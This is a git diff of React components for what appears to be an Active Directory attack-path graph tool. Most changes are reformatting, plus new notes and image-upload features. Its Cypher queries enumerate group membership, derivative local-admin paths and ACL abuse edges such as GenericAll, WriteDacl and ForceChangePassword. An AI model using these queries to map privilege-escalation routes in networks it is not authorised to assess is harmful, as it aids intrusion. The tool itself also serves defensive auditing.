+            ServicePrincipalNames: [],
+            notes: null,
+            pics: [],
+            currentImage: 0,
+            lightboxIsOpen: false
         };
 
-        emitter.on('groupNodeClicked', this.getNodeData.bind(this));
+        emitter.on("groupNodeClicked", this.getNodeData.bind(this));
+        emitter.on("imageUploadFinal", this.uploadImage.bind(this));
+        emitter.on("clickPhoto", this.openLightbox.bind(this));
+        emitter.on("deletePhoto", this.handleDelete.bind(this));
     }
 
-    getNodeData(payload){
-        $.each(this.state.driversessions, function(index, record){
+    componentDidMount() {
+        jQuery(this.refs.complete).hide();
+        jQuery(this.refs.piccomplete).hide();
+    }
+
+    getNodeData(payload) {
+        jQuery(this.refs.complete).hide();
+        $.each(this.state.driversessions, function(_, record) {
             record.close();
         });
 
         this.setState({
             label: payload
         });
+
+        let key = `group_${this.state.label}`;
+        let c = imageconf.get(key);
+        let pics = [];
+        if (typeof c !== "undefined"){
+            this.setState({pics: c})
+        }else{
+            this.setState({pics: pics})
+        }
+
+        var propCollection = driver.session();
+        propCollection
+            .run("MATCH (c:Group {name:{name}}) RETURN c", { name: payload })
+            .then(
+                function(result) {
+                    var properties = result.records[0]._fields[0].properties;
+                    let notes;
+                    if (!properties.notes) {
+                        notes = null;
+                    } else {
+                        notes = properties.notes;
+                    }
+
+                    this.setState({
+                        propertyMap: properties,
+                        notes: notes
+                    });
+                    propCollection.close();
+                }.bind(this)
+            );
+    }
+
+    notesChanged(event) {
+        this.setState({ notes: event.target.value });
+    }
+
+    notesBlur(event) {
+        let notes =
+            this.state.notes === null || this.state.notes === ""
+                ? null
+                : this.state.notes;
+        let q = driver.session();
+        if (notes === null) {
+            q.run("MATCH (n:Group {name:{name}}) REMOVE n.notes", {
+                name: this.state.label
+            }).then(x => {
+                q.close();
+            });
+        } else {
+            q.run("MATCH (n:Group {name:{name}}) SET n.notes = {notes}", {
+                name: this.state.label,
+                notes: this.state.notes
+            }).then(x => {
+                q.close();
+            });
+        }
+        let check = jQuery(this.refs.complete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    uploadImage(files) {
+        if (!this.props.visible || files.length === 0) {
+            return;
+        }
+        let p = this.state.pics;
+        let oLen = p.length;
+        let key = `group_${this.state.label}`;
+        
+        $.each(files, (_, f) => {
+            let exists = false;
+            let hash = md5File.sync(f.path);
+            $.each(p, (_, p1) => {
+                if (p1.hash === hash){
+                    exists = true;
+                }
+            })
+            if (exists){
+                emitter.emit("showAlert", "Image already exists");
+                return;
+            }
+            let path = join(app.getPath("userData"), "images", hash);
+            let dimensions = sizeOf(f.path);
+            let data = readFileSync(f.path);
+            writeFileSync(path, data);
+            p.push({hash: hash, src: path, width: dimensions.width, height: dimensions.height})
+        });
+
+        if (p.length === oLen){
+            return;
+        }
+        this.setState({pics: p});
+        imageconf.set(key, p)
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    handleDelete(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        let pics = this.state.pics;
+        let temp = pics[event.index];
+        pics.splice(event.index, 1);
+        this.setState({
+            pics: pics
+        })
+        let key = `group_${this.state.label}`;
+        imageconf.set(key, pics);
+        
+        let check = jQuery(this.refs.piccomplete);
+        check.show();
+        check.fadeOut(2000);
+    }
+
+    openLightbox(event) {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: event.index,
+            lightboxIsOpen: true
+        });
+    }
+    closeLightbox() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: 0,
+            lightboxIsOpen: false
+        });
+    }
+    gotoPrevious() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage - 1
+        });
+    }
+    gotoNext() {
+        if (!this.props.visible) {
+            return;
+        }
+        this.setState({
+            currentImage: this.state.currentImage + 1
+        });
     }
 
     render() {
-        var domain = '@' + this.state.label.split('@');
+        let gallery;
+        if (this.state.pics.length === 0){
+            gallery = (<span>Drop pictures on here to upload!</span>)
+        }else{
+            gallery = (
+            <React.Fragment>
+                <Gallery
+                    photos={this.state.pics}
+                    ImageComponent={SelectedImage}
+                    className={"gallerymod"}
+                />
+                <Lightbox
+                    images={this.state.pics}
+                    isOpen={this.state.lightboxIsOpen}
+                    onClose={this.closeLightbox.bind(this)}
+                    onClickPrev={this.gotoPrevious.bind(this)}
+                    onClickNext={this.gotoNext.bind(this)}
+                    currentImage={this.state.currentImage}
+                />
+            </React.Fragment>)
+        }
         return (
             <div className={this.props.visible ? "" : "displaynone"}>
-                <dl className='dl-horizontal'>
+                <dl className="dl-horizontal">
                     <h4>Node Info</h4>
-                    <dt>
-                        Name
-                    </dt>
-                    <dd>
-                        {this.state.label}
-                    </dd>
-                    <NodeCypherLink property="Sessions" target={this.state.label} baseQuery={"MATCH p = (c:Computer)-[n:HasSession]->(u:User)-[r2:MemberOf*1..]->(g:Group {name: {name}})"} end={this.state.label} />
+                    <dt>Name</dt>
+                    <dd>{this.state.label}</dd>
+                    <NodeProps
+                        properties={this.state.propertyMap}
+                        displayMap={this.state.displayMap}
+                        ServicePrincipalNames={this.state.ServicePrincipalNames}
+                    />
+                    <NodeCypherLink
+                        property="Sessions"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (c:Computer)-[n:HasSession]->(u:User)-[r2:MemberOf*1..]->(g:Group {name: {name}})"
+                        }
+                        end={this.state.label}
+                    />
 
                     {/* <NodeCypherLink property="Sibling Objects in the Same OU" target={this.state.label} baseQuery={"MATCH (o1:OU)-[r1:Contains]->(g1:Group {name:{name}}) WITH o1 MATCH p= (d: Domain)-[r2:Contains*1..]->(o1)-[r3:Contains]->(n)"} /> */}
-                    
+
                     <h4>Group Members</h4>
-                    <NodeCypherLink property="Direct Members" target={this.state.label} baseQuery={"MATCH p=(n)-[b:MemberOf]->(c:Group {name: {name}})"} end={this.state.label} />
-                    
-                    <NodeCypherLink property="Unrolled Members" target={this.state.label} baseQuery={"MATCH p =(n)-[r:MemberOf*1..]->(g:Group {name:{name}})"} end={this.state.label} />
+                    <NodeCypherLink
+                        property="Direct Members"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(n)-[b:MemberOf]->(c:Group {name: {name}})"
+                        }
+                        end={this.state.label}
+                    />
+
+                    <NodeCypherLink
+                        property="Unrolled Members"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p =(n)-[r:MemberOf*1..]->(g:Group {name:{name}})"
+                        }
+                        end={this.state.label}
+                    />
+
+                    <NodeCypherLink
+                        property="Foreign Members"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (n)-[r:MemberOf*1..]->(g:Group {name:{name}}) WHERE NOT g.domain = n.domain"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Foreign Members" target={this.state.label} baseQuery={"MATCH p = (n)-[r:MemberOf*1..]->(g:Group {name:{name}}) WHERE NOT g.domain = n.domain"} end={this.state.label} distinct />
-                    
                     <h4>Group Membership</h4>
-                    <NodeCypherLink property="First Degree Group Membership" target={this.state.label} baseQuery={"MATCH p=(g1:Group {name:{name}})-[r:MemberOf]->(n:Group)"} start={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Unrolled Member Of" target={this.state.label} baseQuery={"MATCH p = (g1:Group {name:{name}})-[r:MemberOf*1..]->(n:Group)"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="First Degree Group Membership"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(g1:Group {name:{name}})-[r:MemberOf]->(n:Group)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Unrolled Member Of"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (g1:Group {name:{name}})-[r:MemberOf*1..]->(n:Group)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Foreign Group Membership"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(m:Group {name:{name}})-[r:MemberOf]->(n) WHERE NOT m.domain=n.domain"
+                        }
+                        start={this.state.label}
+                    />
 
-                    <NodeCypherLink property="Foreign Group Membership" target={this.state.label} baseQuery={"MATCH p=(m:Group {name:{name}})-[r:MemberOf]->(n) WHERE NOT m.domain=n.domain"} start={this.state.label} />
-                    
                     <h4>Local Admin Rights</h4>
 
-                    <NodeCypherLink property="First Degree Local Admin" target={this.state.label} baseQuery={"MATCH p=(m:Group {name: {name}})-[r:AdminTo]->(n:Computer)"} start={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Group Delegated Local Admin Rights" target={this.state.label} baseQuery={"MATCH p = (g1:Group {name:{name}})-[r1:MemberOf*1..]->(g2:Group)-[r2:AdminTo]->(n:Computer)"} start={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Derivative Local Admin Rights" target={this.state.label} baseQuery={"MATCH p = shortestPath((g:Group {name:{name}})-[r:MemberOf|AdminTo|HasSession*1..]->(n:Computer))"} start={this.state.label} distinct />
-                    
+                    <NodeCypherLink
+                        property="First Degree Local Admin"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p=(m:Group {name: {name}})-[r:AdminTo]->(n:Computer)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Group Delegated Local Admin Rights"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (g1:Group {name:{name}})-[r1:MemberOf*1..]->(g2:Group)-[r2:AdminTo]->(n:Computer)"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Derivative Local Admin Rights"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = shortestPath((g:Group {name:{name}})-[r:MemberOf|AdminTo|HasSession*1..]->(n:Computer))"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
                     <h4>Outbound Object Control</h4>
 
-                    <NodeCypherLink property="First Degree Object Control" target={this.state.label} baseQuery={"MATCH p = (g:Group {name:{name}})-[r]->(n) WHERE r.isACL=true"} start={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Group Delegated Object Control" target={this.state.label} baseQuery={"MATCH p = (g1:Group {name:{name}})-[r1:MemberOf*1..]->(g2:Group)-[r2]->(n) WHERE r2.isACL=true"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="First Degree Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (g:Group {name:{name}})-[r]->(n) WHERE r.isacl=true"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
-                    <NodeCypherLink property="Transitive Object Control" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((g:Group {name:{name}})-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n))"} start={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Group Delegated Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (g1:Group {name:{name}})-[r1:MemberOf*1..]->(g2:Group)-[r2]->(n) WHERE r2.isacl=true"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Transitive Object Control"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((g:Group {name:{name}})-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(n))"
+                        }
+                        start={this.state.label}
+                        distinct
+                    />
 
                     <h4>Inbound Object Control</h4>
 
-                    <NodeCypherLink property="Explicit Object Controllers" target={this.state.label} baseQuery={"MATCH p = (n)-[r:AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(g:Group {name:{name}})"} end={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Unrolled Object Controllers" target={this.state.label} baseQuery={"MATCH p = (n)-[r:MemberOf*1..]->(g1:Group)-[r1]->(g2:Group {name: {name}}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.name = g2.name) AND NOT n.name = g2.name AND r1.isACL=true"} end={this.state.label} distinct />
-                    
-                    <NodeCypherLink property="Transitive Object Controllers" target={this.state.label} baseQuery={"MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(g:Group {name:{name}}))"} end={this.state.label} distinct />
+                    <NodeCypherLink
+                        property="Explicit Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (n)-[r:AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns]->(g:Group {name:{name}})"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Unrolled Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH p = (n)-[r:MemberOf*1..]->(g1:Group)-[r1]->(g2:Group {name: {name}}) WITH LENGTH(p) as pathLength, p, n WHERE NONE (x in NODES(p)[1..(pathLength-1)] WHERE x.name = g2.name) AND NOT n.name = g2.name AND r1.isacl=true"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
+
+                    <NodeCypherLink
+                        property="Transitive Object Controllers"
+                        target={this.state.label}
+                        baseQuery={
+                            "MATCH (n) WHERE NOT n.name={name} WITH n MATCH p = shortestPath((n)-[r:MemberOf|AddMember|AllExtendedRights|ForceChangePassword|GenericAll|GenericWrite|WriteDacl|WriteOwner|Owns*1..]->(g:Group {name:{name}}))"
+                        }
+                        end={this.state.label}
+                        distinct
+                    />
                 </dl>
+                <div>
+                    <h4 className={"inline"}>Notes</h4>
+                    <i
+                        ref="complete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                <textarea
+                    onBlur={this.notesBlur.bind(this)}
+                    onChange={this.notesChanged.bind(this)}
+                    value={this.state.notes === null ? "" : this.state.notes}
+                    className={"node-notes-textarea"}
+                    ref="notes"
+                />
+                <div>
+                    <h4 className={"inline"}>Pictures</h4>
+                    <i
+                        ref="piccomplete"
+                        className="fa fa-check-circle green-icon-color notes-check-style"
+                    />
+                </div>
+                {gallery}
             </div>
         );
     }
 }
 
 GroupNodeData.propTypes = {
-    visible : PropTypes.bool.isRequired
-};
\ No newline at end of file
+    visible: PropTypes.bool.isRequired
+};
diff --git a/src/components/SearchContainer/Tabs/LoadLabel.jsx b/src/components/SearchContainer/Tabs/LoadLabel.jsx
index 1014e0c..09cc16c 100644
--- a/src/components/SearchContainer/Tabs/LoadLabel.jsx
+++ b/src/components/SearchContainer/Tabs/LoadLabel.jsx
@@ -1,28 +1,32 @@
-import React, { Component } from 'react';
-import { If, Then, Else } from 'react-if';
-import PropTypes from 'prop-types';
+import React, { Component } from "react";
+import { If, Then, Else } from "react-if";
+import PropTypes from "prop-types";
 
 export default class LoadLabel extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
     }
     render() {
         return (
             <If condition={this.props.ready}>
-                <Then><div>{this.props.value}</div></Then>
-                <Else>{() =>
-                    <div className="spinner">
-                      <div className="bounce1" />
-                      <div className="bounce2" />
-                      <div className="bounce3" />
-                    </div>
-                }</Else>
+                <Then>
+                    <div>{this.props.value}</div>
+                </Then>
+                <Else>
+                    {() => (
+                        <div className="spinner">
+                            <div className="bounce1" />
+                            <div className="bounce2" />
+                            <div className="bounce3" />
+                        </div>
+                    )}
+                </Else>
             </If>
         );
     }
 }
 
 LoadLabel.propTypes = {
-    ready : PropTypes.bool.isRequired,
-    value : PropTypes.number
-}
\ No newline at end of file
+    ready: PropTypes.bool.isRequired,
+    value: PropTypes.number
+};
diff --git a/src/components/SearchContainer/Tabs/NoNodeData.jsx b/src/components/SearchContainer/Tabs/NoNodeData.jsx
index f8a42be..1d33602 100644
--- a/src/components/SearchContainer/Tabs/NoNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/NoNodeData.jsx
@@ -1,22 +1,17 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types'
+import React, { Component } from "react";
+import PropTypes from "prop-types";
 
 export default class NoNodeData extends Component {
-	render() {
-		return (
-			<div className={this.props.visible ? "" : "hidden"}>
-				<h3>
-					Node Properties
-				</h3>
-				<p>
-					Select a node for more information
-				</p>	
-			</div>
-		);
-	}
+    render() {
+        return (
+            <div className={this.props.visible ? "" : "hidden"}>
+                <h3>Node Properties</h3>
+                <p>Select a node for more information</p>
+            </div>
+        );
+    }
 }
 
-
 NoNodeData.propTypes = {
-	visible : PropTypes.bool.isRequired
-}
\ No newline at end of file
+    visible: PropTypes.bool.isRequired
+};
diff --git a/src/components/SearchContainer/Tabs/NodeALink.jsx b/src/components/SearchContainer/Tabs/NodeALink.jsx
index f4e7165..1460605 100644
--- a/src/components/SearchContainer/Tabs/NodeALink.jsx
+++ b/src/components/SearchContainer/Tabs/NodeALink.jsx
@@ -1,29 +1,35 @@
-import React, { Component } from 'react';
-import { If, Then, Else } from 'react-if';
-import PropTypes from 'prop-types';
+import React, { Component } from "react";
+import { If, Then, Else } from "react-if";
+import PropTypes from "prop-types";
 
 export default class NodeALink extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
     }
     render() {
         return (
             <If condition={this.props.ready}>
-                <Then><a href="#" onClick={this.props.click}>{this.props.value}</a></Then>
-                <Else>{() =>
-                    <div className="spinner">
-                      <div className="bounce1" />
-                      <div className="bounce2" />
-                      <div className="bounce3" />
-                    </div>
-                }</Else>
+                <Then>
+                    <a href="#" onClick={this.props.click}>
+                        {this.props.value}
+                    </a>
+                </Then>
+                <Else>
+                    {() => (
+                        <div className="spinner">
+                            <div className="bounce1" />
+                            <div className="bounce2" />
+                            <div className="bounce3" />
+                        </div>
+                    )}
+                </Else>
             </If>
         );
     }
 }
 
 NodeALink.propTypes = {
-    ready : PropTypes.bool.isRequired,
-    click : PropTypes.func,
-    value : PropTypes.number
-}
\ No newline at end of file
+    ready: PropTypes.bool.isRequired,
+    click: PropTypes.func,
+    value: PropTypes.number
+};
diff --git a/src/components/SearchContainer/Tabs/NodeCypherLink.jsx b/src/components/SearchContainer/Tabs/NodeCypherLink.jsx
index 8c10636..bf7612e 100644
--- a/src/components/SearchContainer/Tabs/NodeCypherLink.jsx
+++ b/src/components/SearchContainer/Tabs/NodeCypherLink.jsx
@@ -1,72 +1,73 @@
-import React, { Component, Fragment } from 'react';
-import PropTypes from 'prop-types';
-import NodeALink from './NodeALink';
+import React, { Component, Fragment } from "react";
+import PropTypes from "prop-types";
+import NodeALink from "./NodeALink";
 
 export default class NodeCypherLink extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
     }
 
-    
     componentWillMount() {
         this.setState({
             ready: false,
             value: 0
         });
     }
-    
 
-    componentWillReceiveProps(newProps){
-        if (this.props.target !== newProps.target){
+    componentWillReceiveProps(newProps) {
+        if (this.props.target !== newProps.target) {
             var session = driver.session();
-            if (typeof this.state.session !== 'undefined'){
+            if (typeof this.state.session !== "undefined") {
                 this.state.session.close();
             }
-            
+
             this.setState({
                 session: session,
-                ready:false
+                ready: false
             });
             let query = this.props.baseQuery;
-            if (this.props.distinct){
-                query += ' RETURN COUNT(DISTINCT(n))';
-            }else{
-                query += ' RETURN COUNT(n)';
+            if (this.props.distinct) {
+                query += " RETURN COUNT(DISTINCT(n))";
+            } else {
+                query += " RETURN COUNT(n)";
             }
-            let domain = '@' + newProps.target.split('@').last();
-            this.setState({domain:domain});
-            session.run(query, {name: newProps.target, domain: domain})
-                .then(function(result){
+            let domain = "@" + newProps.target.split("@").last();
+            this.setState({ domain: domain });
+            session.run(query, { name: newProps.target, domain: domain }).then(
+                function(result) {
                     this.setState({
-                        value:result.records[0]._fields[0].low,
-                        ready:true
+                        value: result.records[0]._fields[0].low,
+                        ready: true
                     });
-                }.bind(this));
+                }.bind(this)
+            );
         }
     }
 
-    render(){
+    render() {
         return (
             <Fragment>
-                <dt>
-                    {this.props.property
-                }</dt>
+                <dt>{this.props.property}</dt>
                 <dd>
                     <NodeALink
                         ready={this.state.ready}
                         value={this.state.value}
-                        click={function(){
+                        click={function() {
                             emitter.emit(
-                                'query',
-                                this.props.baseQuery + ' RETURN p',
-                                {name:this.props.target, domain:this.state.domain}, this.props.start, this.props.end
+                                "query",
+                                this.props.baseQuery + " RETURN p",
+                                {
+                                    name: this.props.target,
+                                    domain: this.state.domain
+                                },
+                                this.props.start,
+                                this.props.end
                             );
-                        }.bind(this)} 
+                        }.bind(this)}
                     />
                 </dd>
             </Fragment>
         );
-        
     }
 }
 
@@ -77,4 +78,4 @@ NodeCypherLink.propTypes = {
     distinct: PropTypes.bool,
     start: PropTypes.string,
     end: PropTypes.string
-};
\ No newline at end of file
+};
diff --git a/src/components/SearchContainer/Tabs/NodeCypherLinkComplex.jsx b/src/components/SearchContainer/Tabs/NodeCypherLinkComplex.jsx
index cdedd71..9831323 100644
--- a/src/components/SearchContainer/Tabs/NodeCypherLinkComplex.jsx
+++ b/src/components/SearchContainer/Tabs/NodeCypherLinkComplex.jsx
@@ -1,13 +1,12 @@
-import React, { Component, Fragment } from 'react';
-import PropTypes from 'prop-types';
-import NodeALink from './NodeALink';
+import React, { Component, Fragment } from "react";
+import PropTypes from "prop-types";
+import NodeALink from "./NodeALink";
 
 export default class NodeCypherLinkComplex extends Component {
     constructor(props) {
         super(props);
     }
 
-
     componentWillMount() {
         this.setState({
             ready: false,
@@ -15,11 +14,10 @@ export default class NodeCypherLinkComplex extends Component {
         });
     }
 
-
     componentWillReceiveProps(newProps) {
         if (this.props.target !== newProps.target) {
             var session = driver.session();
-            if (typeof this.state.session !== 'undefined') {
+            if (typeof this.state.session !== "undefined") {
                 this.state.session.close();
             }
 
@@ -28,39 +26,39 @@ export default class NodeCypherLinkComplex extends Component {
                 ready: false
             });
             let query = this.props.countQuery;
-            let domain = '@' + newProps.target.split('@').last();
-            session.run(query, { name: newProps.target, domain: domain })
-                .then(function (result) {
+            let domain = "@" + newProps.target.split("@").last();
+            session.run(query, { name: newProps.target, domain: domain }).then(
+                function(result) {
                     this.setState({
                         value: result.records[0]._fields[0].low,
                         ready: true
                     });
-                }.bind(this));
+                }.bind(this)
+            );
         }
     }
 
     render() {
         return (
             <Fragment>
-                <dt>
-                    {this.props.property
-                    }</dt>
+                <dt>{this.props.property}</dt>
                 <dd>
                     <NodeALink
                         ready={this.state.ready}
                         value={this.state.value}
-                        click={function () {
+                        click={function() {
                             emitter.emit(
-                                'query',
+                                "query",
                                 this.props.graphQuery,
-                                { name: this.props.target }, this.props.start, this.props.end
+                                { name: this.props.target },
+                                this.props.start,
+                                this.props.end
                             );
                         }.bind(this)}
                     />
                 </dd>
             </Fragment>
         );
-
     }
 }
 
@@ -72,4 +70,4 @@ NodeCypherLinkComplex.propTypes = {
     distinct: PropTypes.bool,
     start: PropTypes.string,
     end: PropTypes.string
-};
\ No newline at end of file
+};
diff --git a/src/components/SearchContainer/Tabs/NodeCypherNoNumberLink.jsx b/src/components/SearchContainer/Tabs/NodeCypherNoNumberLink.jsx
index bb94bf6..fd0db7a 100644
--- a/src/components/SearchContainer/Tabs/NodeCypherNoNumberLink.jsx
+++ b/src/components/SearchContainer/Tabs/NodeCypherNoNumberLink.jsx
@@ -1,29 +1,32 @@
-import React, { Component, Fragment } from 'react';
-import PropTypes from 'prop-types';
+import React, { Component, Fragment } from "react";
+import PropTypes from "prop-types";
 
 export default class NodeCypherNoNumberLink extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
     }
 
-    render(){
-        let c = function(){
+    render() {
+        let c = function() {
             emitter.emit(
-                'query',
+                "query",
                 this.props.query,
-                { name: this.props.target }, this.props.start, this.props.end
+                { name: this.props.target },
+                this.props.start,
+                this.props.end
             );
         }.bind(this);
-        
+
         return (
             <Fragment>
-                <dt>
-                    <a href="#" onClick={c}>{this.props.property}</a>
+                <dt onClick={c}>
+                    <a href="#" onClick={c}>
+                        {this.props.property}
+                    </a>
                 </dt>
-                <dd />
+                <dd onClick={c} style={{"cursor":"pointer"}} />
             </Fragment>
         );
-        
     }
 }
 
@@ -33,4 +36,4 @@ NodeCypherNoNumberLink.propTypes = {
     query: PropTypes.string.isRequired,
     start: PropTypes.string,
     end: PropTypes.string
-};
\ No newline at end of file
+};
diff --git a/src/components/SearchContainer/Tabs/NodePropItem.jsx b/src/components/SearchContainer/Tabs/NodePropItem.jsx
index 031f0f6..82c6043 100644
--- a/src/components/SearchContainer/Tabs/NodePropItem.jsx
+++ b/src/components/SearchContainer/Tabs/NodePropItem.jsx
@@ -1,51 +1,45 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types';
+import React, { Component } from "react";
 
-export default class NodePropItem extends Component{
-    constructor(props){
+export default class NodePropItem extends Component {
+    constructor(props) {
         super(props);
     }
 
-    isArray(object){
-        return object && typeof object === 'object' && object.constructor === Array;
+    isArray(object) {
+        return (
+            object && typeof object === "object" && object.constructor === Array
+        );
     }
 
     render() {
         var val;
         var obj = this.props.keyValue;
-        if (obj.hasOwnProperty('low')){
-            return [
-                <dt>{this.props.keyName}</dt>,
-                <dd>{obj.low}</dd>
-            ];
-        }else if (this.isArray(obj)){
+        if (obj.hasOwnProperty("low")) {
+            return [<dt>{this.props.keyName}</dt>, <dd>{obj.low}</dd>];
+        } else if (this.isArray(obj)) {
             console.log(obj);
-            if (obj.length === 0){
-                return [
-                    <dt>{this.props.keyName}</dt>,
-                    <dd>None</dd>
-                ];
-            }else{
+            if (obj.length === 0) {
+                return [<dt>{this.props.keyName}</dt>, <dd>None</dd>];
+            } else {
                 var elements = [];
-                $.each(obj, function(index, prop){
-                    elements.push(<dt></dt>);
+                $.each(obj, function(_, prop) {
+                    elements.push(<dt />);
                     elements.push(<dd>{prop}</dd>);
                 });
                 elements[0] = <dt>Service Principal Names</dt>;
             }
-            
+
             return elements;
-        }else if (typeof obj === 'boolean'){
+        } else if (typeof obj === "boolean") {
             return [
                 <dt>{this.props.keyName}</dt>,
                 <dd>{this.props.keyValue.toString().toTitleCase()}</dd>
             ];
-        }else{
+        } else {
             return [
                 <dt>{this.props.keyName}</dt>,
                 <dd>{this.props.keyValue.toString()}</dd>
             ];
         }
-        
     }
-}
\ No newline at end of file
+}
diff --git a/src/components/SearchContainer/Tabs/NodeProps.jsx b/src/components/SearchContainer/Tabs/NodeProps.jsx
index ca8e912..90c2dd7 100644
--- a/src/components/SearchContainer/Tabs/NodeProps.jsx
+++ b/src/components/SearchContainer/Tabs/NodeProps.jsx
@@ -1,24 +1,22 @@
-import React, { Component } from 'react';
-import PropTypes from 'prop-types';
+import React, { Component } from "react";
 
 export default class componentName extends Component {
-    constructor(props){
+    constructor(props) {
         super(props);
     }
 
     convertToDisplayProp(propName) {
         var obj = this.props.properties[propName];
         var type = typeof obj;
-        if (type === 'undefined') {
+        if (type === "undefined") {
             return null;
-        } else if (obj.hasOwnProperty('low')) {
-            var t = obj.low;
-            if (t === 0 || t === -1) {
+        } else if (type === "number") {
+            if (obj === 0 || obj === -1) {
                 return "Never";
             } else {
-                return new Date(obj.low * 1000).toUTCString();
+                return new Date(obj * 1000).toUTCString();
             }
-        } else if (type === 'boolean') {
+        } else if (type === "boolean") {
             return obj.toString().toTitleCase();
         } else if (obj === "") {
             return null;
@@ -29,23 +27,36 @@ export default class componentName extends Component {
 
     render() {
         let l = [];
+        let count = 0;
 
-        $.each(this.props.displayMap, function(key, value){
-            let val = this.convertToDisplayProp(key);
+        $.each(
+            this.props.displayMap,
+            function(key, value) {
+                let val = this.convertToDisplayProp(key);
 
-            if (val !== null){
-                l.push(<dt key={key + 'a'}>{value}</dt>);
-                l.push(<dd key={key + 'b'}>{val}</dd>);
-            }
-        }.bind(this));
+                if (val !== null) {
+                    l.push(<dt key={key + "a"}>{value}</dt>);
+                    l.push(<dd key={key + "b"}>{val}</dd>);
+                }
+            }.bind(this)
+        );
 
-        if (this.props.ServicePrincipalNames.length > 0){
+        if (this.props.ServicePrincipalNames && this.props.ServicePrincipalNames.length > 0) {
             l.push(<dt key="spn">Service Principal Names</dt>);
-            $.each(this.props.ServicePrincipalNames, function(index, value){
-                l.push(<dd key={index}>{value}</dd>);
+            $.each(this.props.ServicePrincipalNames, function(_, value) {
+                l.push(<dd key={count}>{value}</dd>);
+                count++;
+            });
+        }
+
+        if (this.props.AllowedToDelegate && this.props.AllowedToDelegate.length > 0){
+            l.push(<dt key="delegate">Allowed To Delegate</dt>);
+            $.each(this.props.AllowedToDelegate, function(_, value) {
+                l.push(<dd key={count}>{value}</dd>);
+                count++;
             });
         }
 
         return l;
     }
-}
\ No newline at end of file
+}
diff --git a/src/components/SearchContainer/Tabs/OuNodeData.jsx b/src/components/SearchContainer/Tabs/OuNodeData.jsx
index ca0566e..23fc201 100644
--- a/src/components/SearchContainer/Tabs/OuNodeData.jsx
+++ b/src/components/SearchContainer/Tabs/OuNodeData.jsx
@@ -1,8 +1,17 @@
-import React, { Component } from 'react';
-import LoadLabel from './LoadLabel.jsx';
-import PropTypes from 'prop-types';
-import NodeCypherLink from './NodeCypherLink.jsx';
-import NodeCypherNoNumberLink from './NodeCypherNoNumberLink';
+import React, { Component } from "react";
+import PropTypes from "prop-types";
+import NodeCypherLink from "./NodeCypherLink.jsx";
+import NodeCypherNoNumberLink from "./NodeCypherNoNumberLink";
+import NodeProps from "./NodeProps";
+import Gallery from "react-photo-gallery";
+import SelectedImage from "./SelectedImage";
+import Lightbox from "react-images";
+import { readFileSync, writeFileSync } from "fs";
